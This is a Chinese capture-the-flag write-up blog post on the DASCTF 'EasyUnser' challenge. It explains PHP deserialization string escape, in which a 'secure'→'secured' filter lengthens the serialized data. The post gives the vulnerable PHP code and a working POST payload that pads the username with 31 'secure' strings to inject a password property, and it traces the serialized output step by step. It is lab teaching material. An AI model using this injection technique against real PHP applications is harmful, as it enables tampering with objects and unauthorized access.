【中北大学DASCTF】EasyUnser PHP反序列化字符串逃逸

题目

<?php
    include_once 'flag.php';
    highlight_file(__FILE__);
    // Security filtering function
    function filter($str){
        return str_replace('secure', 'secured', $str);
    }
    class Hacker{
        public $username = 'margin';
        public $password = 'margin123';
    }
    $h = new Hacker();
    if (isset($_POST['username']) && isset($_POST['password'])){
        // Security filtering
        $h->username = $_POST['username'];
        $c = unserialize(filter(serialize($h)));
        if ($c->password === 'hacker'){
            echo $flag;
        }
    }

思路

详细原理参考:https://blog.csdn.net/qq_45521281/article/details/107135706

分析代码,我们需要通过字符串逃逸,将 password 字段的值修改为 hacker

尝试构造用于 POST 的 payload:username=";s:8:"password";s:6:"hacker";}&password=hacker
因为在 filter 函数中,secure 被替换成 secured,增加了一个字符,而我们构造的 username 字段的长度为 31,因此为了让后面的字符串逃逸出来,我们要在里面加上 31 个 secure,即:
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=hacker

POST 提交,成功显示 flag:
在这里插入图片描述

完整利用过程

当我们 POST 上去过后,序列化后的内容变为了:
O:6:"Hacker":2:{s:8:"username";s:217:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}
在这里插入图片描述
username 内容的长度即为图中框选的部分:31 (payload 部分的长度) +31×6=217,没毛病。

最后一段 ";s:8:"password";s:6:"hacker";} 由于前面已经形成闭合,所以在之后的反序列化中不会产生作用。

接下来 filter 函数将所有的 secure 替换成secured,变成了:
O:6:"Hacker":2:{s:8:"username";s:217:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}

反序列化后的内容为:
在这里插入图片描述

 string(6) "Hacker"
  ["username"]=>
  string(217) "securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured"
  ["password"]=>
  string(6) "hacker"

这下 31 个 secured 完美占据了 217 个长度,成为了 username 的内容,而后面的部分则 ”逃逸“ 了出来,变成了对象的属性。之前对象的 password 字段的 margin123 也就变成了 hacker。

妙啊,实在是妙。

posted @ 2021-09-05 20:41  --Kisaragi--  阅读(134)  评论(0编辑  收藏  举报